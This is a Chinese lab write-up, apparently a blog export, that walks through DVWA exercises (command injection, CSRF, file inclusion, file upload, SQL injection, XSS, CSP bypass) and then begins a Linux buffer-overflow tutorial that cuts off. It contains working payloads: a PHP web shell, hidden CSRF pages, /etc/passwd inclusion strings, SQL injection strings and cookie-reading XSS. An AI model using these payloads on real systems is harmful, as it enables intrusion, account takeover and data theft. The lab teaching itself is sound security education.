使用str_replace对“%”，”|”,“&gt;”进行替换 进入函数前判断变量是否合法。 medium模式无非就是增加了一个黑名单 &amp;&amp;和；，但还是可以用管道|和&amp;12345// Set blacklist$substitutions = array( &apos;&amp;&amp;&apos; =&gt; &apos;&apos;, &apos;;&apos; =&gt; &apos;&apos;,); 这里需要注意的是”&amp;&amp;”与”&amp;”的区别：Command 1&amp;&amp;Command 2先执行Command 1，执行成功后执行Command 2，否则不执行Command 2Command 1&amp;Command 2先执行Command 1，不管是否成功，都会执行Command 2 更聪明的做法是利用&amp;;&amp;，黑名单会将其转化为&amp;&amp; CSRFeasy模式 CSRF跨站请求伪造是一种攻击，它强制终端用户在当前对其进行身份验证的Web应用程序上执行不需要的操作。在社交工程的帮助下（例如通过电子邮件/聊天发送链接），攻击者可能会强制Web应用程序的用户执行攻击者选择的操作。成功的CSRF利用可能会损害最终用户数据和普通用户的操作。如果目标最终用户是管理员帐户，则可能会危及整个Web应用程序。此攻击也可称为“XSRF”，类似于“跨站点脚本（XSS）”，它们通常一起使用。您的任务是让当前用户使用CSRF攻击更改自己的密码，而无需他们了解自己的操作。 1234567891011121314151617181920212223242526272829&lt;?phpif( isset( $_GET[ 'Change' ] ) ) &#123; // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) &#123; // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) &amp;&amp; is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '&lt;pre&gt;' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '&lt;/pre&gt;' ); // Feedback for the user echo "&lt;pre&gt;Password Changed.&lt;/pre&gt;"; &#125; else &#123; // Issue with passwords matching echo "&lt;pre&gt;Passwords did not match.&lt;/pre&gt;"; &#125; ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);&#125;?&gt; 服务器通过GET方式接收修改密码的请求，会检查参数password_new与password_conf是否相同，如果相同，就会修改密码，没有任何的防CSRF机制（当然服务器对请求的发送者是做了身份验证的，是检查的cookie，只是这里的代码没有体现）。 12345678910GET /vulnerabilities/csrf/?password_new=123&amp;password_conf=123456&amp;Change=Change HTTP/1.1Host: 192.168.31.84:81Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Referer: http://192.168.31.84:81/vulnerabilities/csrf/?password_new=password&amp;password_conf=123&amp;Change=ChangeAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: PHPSESSID=rbb91verhfhas5a6k7tq77bmo4; security=lowConnection: close 根据拦截的http请求，可以伪造如下链接让受害者点击，从而修改密码http://ip:port/vulnerabilities/csrf/?password_new=test&amp;password_conf=test&amp;Change=Change 更具隐藏性的方式：1.使用短链接来隐藏 URL：为了更加隐蔽，可以生成短网址链接，点击短链接，会自动跳转到真实网站：http://tinyurl.com/yd2gogtvPS:提供一个短网址生成网站2.构造攻击页面： 方式 1 通过img标签中的src属性来加载CSRF攻击利用的URL，并进行布局隐藏，实现了受害者点击链接则会将密码修改。 方式 2 查看页面html源代码，将关于密码操作的表单部分，通过javascript的onload事件加载和css代码来隐藏布局，按GET传递参数的方式，进一步构造html form表单，实现了受害者点击链接则会将密码修改。1234567891011121314151617181920&lt;body onload="javascript:csrf()"&gt;&lt;script&gt;function csrf()&#123;document.getElementById("button").click();&#125;&lt;/script&gt;&lt;style&gt;form&#123;display:none;&#125;&lt;/style&gt; &lt;form action="http://www.dvwa.com/vulnerabilities/csrf/?" method="GET"&gt; New password:&lt;br /&gt; &lt;input type="password" AUTOCOMPLETE="off" name="password_new" value="test"&gt;&lt;br /&gt; Confirm new password:&lt;br /&gt; &lt;input type="password" AUTOCOMPLETE="off" name="password_conf" value="test"&gt;&lt;br /&gt; &lt;br /&gt; &lt;input type="submit" id="button" name="Change" value="Change" /&gt; &lt;/form&gt;&lt;/body&gt; 构造攻击页面 现实攻击场景下，这种方法需要事先在公网上传一个攻击页面，诱骗受害者去访问，真正能够在受害者不知情的情况下完成CSRF攻击。这里为了方便演示，就在本地写一个test.html，下面是具体代码。 123&lt;img src=&quot;http://192.168.31.84:81/vulnerabilities/csrf/?password_new=111&amp;password_conf=111&amp;Change=Change# border=&quot;0&quot; style=&quot;display:none;&quot;/&gt;&lt;h1&gt;404&lt;/h1&gt;&lt;h2&gt;file not found.&lt;/h2&gt; 当受害者访问test.html时，会误认为是自己点击的是一个失效的url，但实际上已经遭受了CSRF攻击，密码已经被修改为了hack。 medium模式检查 HTTP_REFERER（http包头的Referer参数的值，表示来源地址）中是否包含SERVER_NAME（http包头的Host参数，及要访问的主机名，）12// Checks to see where the request came from if( stripos( $_SERVER[ &apos;HTTP_REFERER&apos; ] ,$_SERVER[ &apos;SERVER_NAME&apos; ]) !== false ) &#123; 想要通过验证，就必须保证在http请求中Referer字段中必须包含Host我们这需要把上面的攻击页面名字改成包含host就可以了。(把攻击页面放在服务器上) 文件包含easy模式某些Web应用程序允许用户指定直接用于文件流的输入，或允许用户将文件上载到服务器。稍后，Web应用程序访问Web应用程序上下文中的用户提供的输入。通过这样做，Web应用程序允许潜在的恶意文件执行。如果选择要包含的文件在目标计算机上是本地的，则称为“本地文件包含（LFI）。但是文件也可以包含在其他计算机上，然后攻击是”远程文件包含（RFI）。当RFI不是一种选择时。使用LFI的另一个漏洞（例如文件上传和目录遍历）通常可以达到同样的效果。注意，术语“文件包含”与“任意文件访问”或“文件公开”不同。只使用文件包含来阅读’../hackable/flags/fi.php’中的所有五个着名引号。123456&lt;?php// The page we wish to display$file = $_GET[ &apos;page&apos; ];?&gt; 文件包含漏洞的一般特征如下： ?page=a.php ?home=a.html ?file=content 几种经典的测试方法： ?file=../../../../../etc/passwdd?page=file:///etc/passwd?home=main.cgi?page=http://www.a.com/1.php=http://1.1.1.1/../../../../dir/file.txt（通过多个../可以让目录回到根目录中然后再进入目标目录） medium模式增加对绝对路径http和相对路径的检查123// Input validation$file = str_replace( array( &quot;http://&quot;, &quot;https://&quot; ), &quot;&quot;, $file );$file = str_replace( array( &quot;../&quot;, &quot;..\&quot;&quot; ), &quot;&quot;, $file ); 但依然可以使用?page=file:///etc/passwd以及重复字符过滤方法,构造url 构造url为httphttp:// –&gt; http 构造url为httphttp://:// –&gt;http:// 构造url为…/./ –&gt; ../ 文件上传easy模式 上传的文件对Web应用程序构成重大风险。许多攻击的第一步是将一些代码提供给系统进行攻击。然后攻击者只需要找到一种方法来执行代码。使用文件上传有助于攻击者完成第一步。不受限制的文件上载的后果可能会有所不同，包括完整的系统接管，过载的文件系统，向后端系统转发攻击以及简单的污损。这取决于应用程序对上传文件的作用，包括存储位置。由于此文件上载漏洞，请在目标系统上执行您选择的任何PHP函数（例如phpinfo（）或system（））。 一句话木马1.php文件：123&lt;?phpecho shell_exec($_GET[&apos;cmd&apos;]);?&gt; 12345678910111213141516171819&lt;?phpif( isset( $_POST[ 'Upload' ] ) ) &#123; // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) &#123; // No echo '&lt;pre&gt;Your image was not uploaded.&lt;/pre&gt;'; &#125; else &#123; // Yes! echo "&lt;pre&gt;&#123;$target_path&#125; succesfully uploaded!&lt;/pre&gt;"; &#125;&#125;?&gt; medium模式增加了对文件类型和大小的过滤，只允许图片上传12345678// File information$uploaded_name = $_FILES[ &apos;uploaded&apos; ][ &apos;name&apos; ];$uploaded_type = $_FILES[ &apos;uploaded&apos; ][ &apos;type&apos; ];$uploaded_size = $_FILES[ &apos;uploaded&apos; ][ &apos;size&apos; ];// Is it an image?if( ( $uploaded_type == &quot;image/jpeg&quot; || $uploaded_type == &quot;image/png&quot; ) &amp;&amp; ( $uploaded_size &lt; 100000 ) ) &#123; 用burpsuite拦截修改Content-Type: application/octet-stream为Content-Type: image/jpeg。成功上传：http://192.168.31.84:81/hackable/uploads/1.php?cmd=ls SQL注入easy模式 SQL注入攻击包括通过从客户端到应用程序的输入数据插入或“注入”SQL查询。成功的SQL注入攻击可以从数据库中读取敏感数据，修改数据库数据（插入/更新/删除），对数据库执行管理操作（如关闭DBMS），恢复DBMS文件中存在的给定文件的内容system（load_file），在某些情况下向操作系统发出命令。SQL注入攻击是一种注入攻击，其中SQL命令被注入到数据平面输入中，以便实现预定义的SQL命令。这种攻击也可称为“SQLi”。 123456789101112131415161718192021222324&lt;?phpif( isset( $_REQUEST[ &apos;Submit&apos; ] ) ) &#123; // Get input $id = $_REQUEST[ &apos;id&apos; ]; // Check database $query = &quot;SELECT first_name, last_name FROM users WHERE user_id = &apos;$id&apos;;&quot;; $result = mysqli_query($GLOBALS[&quot;___mysqli_ston&quot;], $query ) or die( &apos;&lt;pre&gt;&apos; . ((is_object($GLOBALS[&quot;___mysqli_ston&quot;])) ? mysqli_error($GLOBALS[&quot;___mysqli_ston&quot;]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . &apos;&lt;/pre&gt;&apos; ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) &#123; // Get values $first = $row[&quot;first_name&quot;]; $last = $row[&quot;last_name&quot;]; // Feedback for end user echo &quot;&lt;pre&gt;ID: &#123;$id&#125;&lt;br /&gt;First name: &#123;$first&#125;&lt;br /&gt;Surname: &#123;$last&#125;&lt;/pre&gt;&quot;; &#125; mysqli_close($GLOBALS[&quot;___mysqli_ston&quot;]);&#125;?&gt; 在做查询操作时，未对$id做任何限制，直接传入了sql语句，造成字符型注入 原SELECT语句SELECT first_name, last_name FROM users WHERE user_id = &#39;$id&#39;;中的$id可以任意输入。当输入$id=123’ OR 1=1#时，SELECT语句变成了SELECT first_name, last_name FROM users WHERE user_id = &#39;123&#39; OR 1=1#&#39;;此时最后一个引号被#注释，同时1=1永远返回TRUE，这就导致所有用户的姓名泄露。123456789101112131415ID: 123&apos; OR 1=1#First name: adminSurname: adminID: 123&apos; OR 1=1#First name: GordonSurname: BrownID: 123&apos; OR 1=1#First name: HackSurname: MeID: 123&apos; OR 1=1#First name: PabloSurname: PicassoID: 123&apos; OR 1=1#First name: BobSurname: Smith 那如果想要得到密码该怎么做，UNION 操作符用于合并两个或多个 SELECT 语句的结果集，我们可以这样构造id$id=123&#39; or 1=1# union SELECT first_name,password FROM但貌似表里没有password12345678910111213141516usersID: 123&apos; or 1=1# union SELECT first_name,password FROM usersFirst name: adminSurname: adminID: 123&apos; or 1=1# union SELECT first_name,password FROM usersFirst name: GordonSurname: BrownID: 123&apos; or 1=1# union SELECT first_name,password FROM usersFirst name: HackSurname: MeID: 123&apos; or 1=1# union SELECT first_name,password FROM usersFirst name: PabloSurname: PicassoID: 123&apos; or 1=1# union SELECT first_name,password FROM usersFirst name: BobSurname: Smith medium模式前端只能选择，前源码过滤了字符$id = mysqli_real_escape_string($GLOBALS[&quot;___mysqli_ston&quot;], $id);其中受影响的字符如下：1234567\x00\n\r\&apos;&quot;\x1a 但由于其为字符型注入，因此防御手段形同虚设构造id=1 or 1=1#即得到所有用户信息 SQL盲注 盲注，与一般注入的区别在于，一般的注入攻击者可以直接从页面上看到注入语句的执行结果，而盲注时攻击者通常是无法从显示页面上获取执行结果，甚至连注入语句是否执行都无从得知，因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。1.判断是否存在注入，注入是字符型还是数字型2.猜解当前数据库名3.猜解数据库中的表名4.猜解表中的字段名5.猜解数据 12345678910111213141516171819202122232425262728&lt;?phpif( isset( $_GET[ &apos;Submit&apos; ] ) ) &#123; // Get input $id = $_GET[ &apos;id&apos; ]; // Check database $getid = &quot;SELECT first_name, last_name FROM users WHERE user_id = &apos;$id&apos;;&quot;; $result = mysqli_query($GLOBALS[&quot;___mysqli_ston&quot;], $getid ); // Removed &apos;or die&apos; to suppress mysql errors // Get results $num = @mysqli_num_rows( $result ); // The &apos;@&apos; character suppresses errors if( $num &gt; 0 ) &#123; // Feedback for end user echo &apos;&lt;pre&gt;User ID exists in the database.&lt;/pre&gt;&apos;; &#125; else &#123; // User wasn&apos;t found, so the page wasn&apos;t! header( $_SERVER[ &apos;SERVER_PROTOCOL&apos; ] . &apos; 404 Not Found&apos; ); // Feedback for end user echo &apos;&lt;pre&gt;User ID is MISSING from the database.&lt;/pre&gt;&apos;; &#125; ((is_null($___mysqli_res = mysqli_close($GLOBALS[&quot;___mysqli_ston&quot;]))) ? false : $___mysqli_res);&#125;?&gt; 查看源码发现还是没有对id做过滤，但是它不会返回错误信息，只会告诉你User ID exists in the database.以及User ID is MISSING from the database. 盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注。如果手工盲注的话，需要对sql语法相当熟悉。类似：https://www.freebuf.com/articles/web/120985.html如果自动盲注的话，可以使用sqlmap来完成，类似：https://www.jianshu.com/p/ec2ca79e74b2 弱session-ideasy模式session-ID通常是在登录后作为特定用户访问站点所需的唯一内容，如果能够计算或轻易猜到该会话ID，则攻击者将有一种简单的方法来获取访问权限。无需知道账户密码或查找其他漏洞，如跨站点脚本。 根据源码可以看出来session每次加112345678910111213&lt;?php$html = &quot;&quot;;if ($_SERVER[&apos;REQUEST_METHOD&apos;] == &quot;POST&quot;) &#123; if (!isset ($_SESSION[&apos;last_session_id&apos;])) &#123; $_SESSION[&apos;last_session_id&apos;] = 0; &#125; $_SESSION[&apos;last_session_id&apos;]++; $cookie_value = $_SESSION[&apos;last_session_id&apos;]; setcookie(&quot;dvwaSession&quot;, $cookie_value);&#125;?&gt; 按f12看application-cookies也能发现这个规律。然后使用hackbar这个扩展程序攻击。 medium模式从源码中可以看到dvwaSession就是时间戳123456789&lt;?php$html = &quot;&quot;;if ($_SERVER[&apos;REQUEST_METHOD&apos;] == &quot;POST&quot;) &#123; $cookie_value = time(); setcookie(&quot;dvwaSession&quot;, $cookie_value);&#125;?&gt; 基于DOM的XSSeasy模式 “跨站点脚本（XSS）”攻击是一种注入问题，其中恶意脚本被注入到其他良性和可信赖的网站中。当攻击者使用Web应用程序将恶意代码（通常以浏览器端脚本的形式）发送给不同的最终用户时，就会发生XSS攻击。允许这些攻击成功的缺陷非常普遍，并且发生在使用输出中的用户输入的Web应用程序的任何地方，而不验证或编码它。 攻击者可以使用XSS将恶意脚本发送给毫无戒心的用户。最终用户的浏览器无法知道该脚本不应该被信任，并将执行JavaScript。因为它认为脚本来自可靠来源，所以恶意脚本可以访问您的浏览器保留并与该站点一起使用的任何cookie，会话令牌或其他敏感信息。这些脚本甚至可以重写HTML页面的内容。 基于DOM的XSS是一个特殊情况，反映了JavaScript隐藏在URL中并在呈现时由页面中的JavaScript拉出而不是在服务时嵌入页面中。这可能使其比其他攻击更隐蔽，并且正在阅读页面主体的WAF或其他保护措施看不到任何恶意内容。 查看页面源代码12345678910111213&lt;script&gt; if (document.location.href.indexOf(&quot;default=&quot;) &gt;= 0) &#123; var lang = document.location.href.substring(document.location.href.indexOf(&quot;default=&quot;)+8); document.write(&quot;&lt;option value=&apos;&quot; + lang + &quot;&apos;&gt;&quot; + decodeURI(lang) + &quot;&lt;/option&gt;&quot;); document.write(&quot;&lt;option value=&apos;&apos; disabled=&apos;disabled&apos;&gt;----&lt;/option&gt;&quot;); &#125; document.write(&quot;&lt;option value=&apos;English&apos;&gt;English&lt;/option&gt;&quot;); document.write(&quot;&lt;option value=&apos;French&apos;&gt;French&lt;/option&gt;&quot;); document.write(&quot;&lt;option value=&apos;Spanish&apos;&gt;Spanish&lt;/option&gt;&quot;); document.write(&quot;&lt;option value=&apos;German&apos;&gt;German&lt;/option&gt;&quot;);&lt;/script&gt; indexOf() 方法可返回某个指定的字符串值在字符串中首次出现的位置。 substring() 方法用于提取字符串中介于两个指定下标之间的字符。 decodeURI() 函数可对 encodeURI() 函数编码过的 URI 进行解码 所以lang被赋值为”default=”之后的字串，如果插入js代码，插入的 javascript 代码可以在 decodeURL(lang) 被执行 http://192.168.31.84:81/vulnerabilities/xss_d/?default=English&lt;script&gt;alert(document.cookie)&lt;/script&gt;这个uri被用户点击之后会被弹窗，但是在chrome测试了很多次都不行，firefox就可以 medium模式相对于easy模式增加了对script的过滤12345# Do not allow script tagsif (stripos ($default, &quot;&lt;script&quot;) !== false) &#123; header (&quot;location: ?default=English&quot;); exit;&#125; 绕过有两种方式 方式1url中有一个字符为#，该字符后的数据不会发送到服务器端，从而绕过服务端过滤http://192.168.31.84:81/vulnerabilities/xss_d/?default=English#&lt;script&gt;alert(document.cookie)&lt;/script&gt; 方法2或者就是用img标签或其他标签的特性去执行js代码，比如img标签的onerror事件，构造连接(通过加载一个不存在的图片出错出发javascript onerror事件,继续弹框，证明出来有xss)`http://192.168.31.84:81/vulnerabilities/xss_d/?default=English%3E/option%3E%3C/select%3E%3Cimg%20src=#%20onerror=alert(/xss/)%3E&#39; 反射型xsseasy模式 反射型（非持久）：主要用于将恶意代码附加到URL地址的参数中，常用于窃取客户端cookie信息和钓鱼欺骗。 查看源码，服务器直接把客户端的输入返回回来显示1234567891011&lt;?phpheader ("X-XSS-Protection: 0");// Is there any input?if( array_key_exists( "name", $_GET ) &amp;&amp; $_GET[ 'name' ] != NULL ) &#123; // Feedback for end user echo '&lt;pre&gt;Hello ' . $_GET[ 'name' ] . '&lt;/pre&gt;';&#125;?&gt; http://192.168.31.84:81/vulnerabilities/xss_r/?name=%3Cscript%3Ealert(%27xss%27)%3C/script%3E medium模式源码里检查了script标签12// Get input $name = str_replace( &apos;&lt;script&gt;&apos;, &apos;&apos;, $_GET[ &apos;name&apos; ] ); str_replace这个函数是不区分大小写的，而且只替换一次改成大写就可以了alert(‘xss’)或者嵌套&lt;script&gt;alert(‘xss’) 但对name审查没有这么严格，同样可以采用嵌套或大小写的方法： &lt;script&gt;alert(‘fuck’) alert(‘fuck’) 存储型xsseasy模式 “跨站点脚本（XSS）”攻击是一种注入问题，其中恶意脚本被注入到其他良性和可信赖的网站中。当攻击者使用Web应用程序将恶意代码（通常以浏览器端脚本的形式）发送给不同的最终用户时，就会发生XSS攻击。允许这些攻击成功的缺陷非常普遍，并且发生在使用输出中的用户输入的Web应用程序的任何地方，而不验证或编码它。 攻击者可以使用XSS将恶意脚本发送给毫无戒心的用户。最终用户的浏览器无法知道该脚本不应该被信任，并将执行JavaScript。因为它认为脚本来自可靠来源，所以恶意脚本可以访问您的浏览器保留并与该站点一起使用的任何cookie，会话令牌或其他敏感信息。这些脚本甚至可以重写HTML页面的内容。 XSS存储在数据库中。 XSS是永久性的，直到重置数据库或手动删除有效负载。 查看源码trim是去除掉用户输入内容前后的空格。stripslashes是去除反斜杠，两个只会去除一个。mysqli_real_escap_string过滤掉内容中特殊字符，像x00,n,r,,’,”,x1a等，来预防数据库攻击。12345678910111213141516171819202122&lt;?phpif( isset( $_POST[ &apos;btnSign&apos; ] ) ) &#123; // Get input $message = trim( $_POST[ &apos;mtxMessage&apos; ] ); $name = trim( $_POST[ &apos;txtName&apos; ] ); // Sanitize message input $message = stripslashes( $message ); $message = ((isset($GLOBALS[&quot;___mysqli_ston&quot;]) &amp;&amp; is_object($GLOBALS[&quot;___mysqli_ston&quot;])) ? mysqli_real_escape_string($GLOBALS[&quot;___mysqli_ston&quot;], $message ) : ((trigger_error(&quot;[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.&quot;, E_USER_ERROR)) ? &quot;&quot; : &quot;&quot;)); // Sanitize name input $name = ((isset($GLOBALS[&quot;___mysqli_ston&quot;]) &amp;&amp; is_object($GLOBALS[&quot;___mysqli_ston&quot;])) ? mysqli_real_escape_string($GLOBALS[&quot;___mysqli_ston&quot;], $name ) : ((trigger_error(&quot;[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.&quot;, E_USER_ERROR)) ? &quot;&quot; : &quot;&quot;)); // Update database $query = &quot;INSERT INTO guestbook ( comment, name ) VALUES ( &apos;$message&apos;, &apos;$name&apos; );&quot;; $result = mysqli_query($GLOBALS[&quot;___mysqli_ston&quot;], $query ) or die( &apos;&lt;pre&gt;&apos; . ((is_object($GLOBALS[&quot;___mysqli_ston&quot;])) ? mysqli_error($GLOBALS[&quot;___mysqli_ston&quot;]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . &apos;&lt;/pre&gt;&apos; ); //mysql_close();&#125;?&gt; 插入之后会成为页面的元素显示出来&lt;div id=&quot;guestbook_comments&quot;&gt;Name: 11&lt;br /&gt;Message: 111&lt;br /&gt;&lt;/div&gt;看一下提交的方式：txtName=22&amp;mtxMessage=222&amp;btnSign=Sign+Guestbook直接插入script语句，txtName=22&lt;script&gt;alert(1)&lt;/script&gt;&amp;mtxMessage=222&amp;btnSign=Sign+Guestbook medium模式源码中增加了几个函数的使用： $message = strip_tags(addslashes($message)); 剥去字符串中的 HTML、XML 以及 PHP 的标签。 $message = htmlspecialchars( $message ); 把预定义的字符 “&lt;” （小于）和 “&gt;” （大于）转换为 HTML 实体： $name = str_replace( ‘‘, ‘’, $name ); 绕过安全策略easy模式 内容安全策略（CSP）用于定义可以从中加载或执行脚本和其他资源的位置。本单元将引导您根据开发人员常见错误绕过策略。这些漏洞都不是CSP中的实际漏洞，它们是实施漏洞的漏洞。 12345678910111213141516171819202122&lt;?php$headerCSP = &quot;Content-Security-Policy: script-src &apos;self&apos; https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;&quot;; // allows js from self, pastebin.com, jquery and google analytics.header($headerCSP);# https://pastebin.com/raw/R570EE00?&gt;&lt;?phpif (isset ($_POST[&apos;include&apos;])) &#123;$page[ &apos;body&apos; ] .= &quot; &lt;script src=&apos;&quot; . $_POST[&apos;include&apos;] . &quot;&apos;&gt;&lt;/script&gt;&quot;;&#125;$page[ &apos;body&apos; ] .= &apos;&lt;form name=&quot;csp&quot; method=&quot;POST&quot;&gt; &lt;p&gt;You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:&lt;/p&gt; &lt;input size=&quot;50&quot; type=&quot;text&quot; name=&quot;include&quot; value=&quot;&quot; id=&quot;include&quot; /&gt; &lt;input type=&quot;submit&quot; value=&quot;Include&quot; /&gt;&lt;/form&gt;&apos;; 会在页面里增加一个body&lt;script src=&#39;&quot; . $_POST[&#39;include&#39;] . &quot;&#39;&gt;&lt;/script&gt;这里在源码中规定了信任的脚本源：script-src &#39;self&#39; https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;&quot;; // allows js from self, pastebin.com, jquery and google analytics.输入源码中提示的https://pastebin.com/raw/R570EE00，弹窗成功 medium模式如果你要使用 script 标签加载 javascript, 你需要指明其 nonce 值$headerCSP = &quot;Content-Security-Policy: script-src &#39;self&#39; &#39;unsafe-inline&#39; &#39;nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=&#39;;&quot;;比如：&lt;script nonce=&quot;TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=&quot;&gt;alert(1)&lt;/script&gt; JavaScript Attackseasy模式 本节中的攻击旨在帮助您了解JavaScript在浏览器中的使用方式以及如何操作它。攻击可以通过分析网络流量来进行，但这不是重点，也可能要困难得多。只需提交“成功”一词即可赢得关卡。显然，它并不那么容易，每个级别实现不同的保护机制，页面中包含的JavaScript必须进行分析，然后进行操作以绕过保护。 提示我们Submit the word “success” to win.但是输入success却返回Invalid token.说明token值不对劲，后台应该是比较输入的字符串与‘success’。查看源码发现token值是在前台计算的，md5(rot13(phrase))123456function generate_token() &#123; var phrase = document.getElementById(&quot;phrase&quot;).value; document.getElementById(&quot;token&quot;).value = md5(rot13(phrase));&#125;generate_token(); 然而，phrase的值等于ChangeMe&lt;input type=&quot;text&quot; name=&quot;phrase&quot; value=&quot;ChangeMe&quot; id=&quot;phrase&quot;&gt;因此计算出来的token也是不对的，我们在chrome的控制台直接计算12md5(rot13(&quot;success&quot;))&quot;38581812b435834ebf84ebcc2c6424d6&quot; 把值给隐藏的元素&lt;input type=&quot;hidden&quot; name=&quot;token&quot; value=&quot;8b479aefbd90795395b3e7089ae0dc09&quot; id=&quot;token&quot;&gt;然后提交success medium模式生成token的代码在js文件中1234567891011function do_something(e) &#123; for (var t = "", n = e.length - 1; n &gt;= 0; n--) t += e[n]; return t&#125;setTimeout(function () &#123; do_elsesomething("XX")&#125;, 300);function do_elsesomething(e) &#123; document.getElementById("token").value = do_something(e + document.getElementById("phrase").value + "XX")&#125; 输入success，然后控制台运行do_elsesomething(“XX”)就可以拿到token]]></content>
+      <categories>
+        <category>web</category>
+      </categories>
+      <tags>
+        <tag>web</tag>
+        <tag>ctf</tag>
+      </tags>
+  </entry>
   <entry>
     <title><![CDATA[Linux Pwn-缓冲区溢出利用]]></title>
     <url>%2F2019%2F07%2F16%2Flinux-pwn-32%2F</url>
-    <content type="text"><![CDATA[之前介绍了Windows x86平台下栈溢出漏洞的开放与利用，鉴于CTF基本都是Linux，还有实际开发环境，很多智能设备的系统都是基于Linux，所以从很现实的需求出发，一定要学习学习Linux下漏洞的分析。 ref： CTF-WIKI：https://ctf-wiki.github.io/ctf-wiki/pwn/readme-zh/蒸米大佬的一步一步学rop http://www.anquan.us/static/drops/tips-6597.html 工具： objdump、ldd、ROPgadget、readelf、https://ctf-wiki.github.io/ctf-tools/https://github.com/ctf-wiki/ctf-challenges 0x00 Control Flow hijack和Windows一样，栈溢出的根本原因在于当前计算机的体系结构没有区分代码段和数据段，因此我们可以通过修改数据段的内容（返回地址），改变程序的执行流程，从而达到程序流劫持的效果。改变计算机体系来规避漏洞目前是不可能的，防御者为了应对这种攻击，提出了各种增大攻击难度的措施（没有绝对安全的系统），最常见的有：DEP堆栈不可执行、ASLR内存地址随机化、GS/Canary栈保护等。我们从最简单的入手，不开启任何防护，先了解栈溢出的基本操作，然后逐步增加防御措施。 寻找危险函数这里有一个漏洞程序12345678910111213#include &lt;stdio.h&gt;#include &lt;string.h&gt;void success() &#123; puts(&quot;You Hava already controlled it.&quot;); &#125;void vulnerable() &#123; char s[12]; gets(s); puts(s); return;&#125;int main(int argc, char **argv) &#123; vulnerable(); return 0;&#125; 当我们看到gets时就应该知道如何入手了，这是一个非常危险的函数，无条件的接受任意大的字符串。历史上，莫里斯蠕虫第一种蠕虫病毒就利用了 gets 这个危险函数实现了栈溢出。先进行编译，关闭防御措施：12345678$ gcc -m32 -no-pie -fno-stack-protector -z execstack stack1.c -o stack1stack1.c: In function ‘vulnerable’:stack1.c:6:3: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration] gets(s); ^~~~ fgets/tmp/ccUuPrSy.o: In function `vulnerable&apos;:stack1.c:(.text+0x45): warning: the `gets&apos; function is dangerous and should not be used. 编译器都会提示你，gets不要再用了。-fno-stack-protector 和-z execstack分便会关掉栈保护的DEP.-no-PIE关闭 PIE（Position Independent Executable），避免加载基址被打乱。接下来关闭整个linux系统的ASLR保护：12345$ suPassword:root@ubuntu:/home/han/ck/pwn/linux/stack_demo# echo 0 &gt; /proc/sys/kernel/randomize_va_spaceroot@ubuntu:/home/han/ck/pwn/linux/stack_demo# exitexit 计算溢出点的位置什么是溢出点的位置：从缓冲区到覆盖返回地址所需要的字节数我们同样也可以使用工具pattern_create和pattern_offset来计算，这里我们先手动计算：把stack1拖入IDA进行反汇编分析：1234567int vulnerable()&#123; char s; // [sp+4h] [bp-14h]@1 gets(&amp;s); return puts(&amp;s);&#125; 在伪代码窗口，我们可看到变量s和bp的距离为14h，再加上old bp的4字节，到ret的距离就是18h。123456789101112 +-----------------+ | retaddr | +-----------------+ | saved ebp | ebp---&gt;+-----------------+ | | | | | | | | | | | |s,ebp-0x14--&gt;+-----------------+ 劫持ret的地址这里我们想让程序跳转到success()，从IDA直接可以获取0x08048456123456789101112131415161718192021.text:08048456 success proc near.text:08048456.text:08048456 var_4 = dword ptr -4.text:08048456.text:08048456 push ebp.text:08048457 mov ebp, esp.text:08048459 push ebx.text:0804845A sub esp, 4.text:0804845D call __x86_get_pc_thunk_ax.text:08048462 add eax, 1B9Eh.text:08048467 sub esp, 0Ch.text:0804846A lea edx, (aYouHavaAlready - 804A000h)[eax] ; &quot;You Hava already controlled it.&quot;.text:08048470 push edx ; s.text:08048471 mov ebx, eax.text:08048473 call _puts.text:08048478 add esp, 10h.text:0804847B nop.text:0804847C mov ebx, [ebp+var_4].text:0804847F leave.text:08048480 retn.text:08048480 success endp 那么如果我们构造的字符串为：10x18*&apos;a&apos;+success_addr 这样就会将retaddr覆盖巍峨哦success_addr,此时栈结构为：123456789101112 +-----------------+ | 0x0804843B | +-----------------+ | aaaa | ebp---&gt;+-----------------+ | | | | | | | | | | | |s,ebp-0x14--&gt;+-----------------+ pwn测试使用pwntools，怎么使用，以具体的exp来介绍，比如stack1的exp如下：1234567891011from pwn import *p = process(&apos;./stack1&apos;)ret_addr = 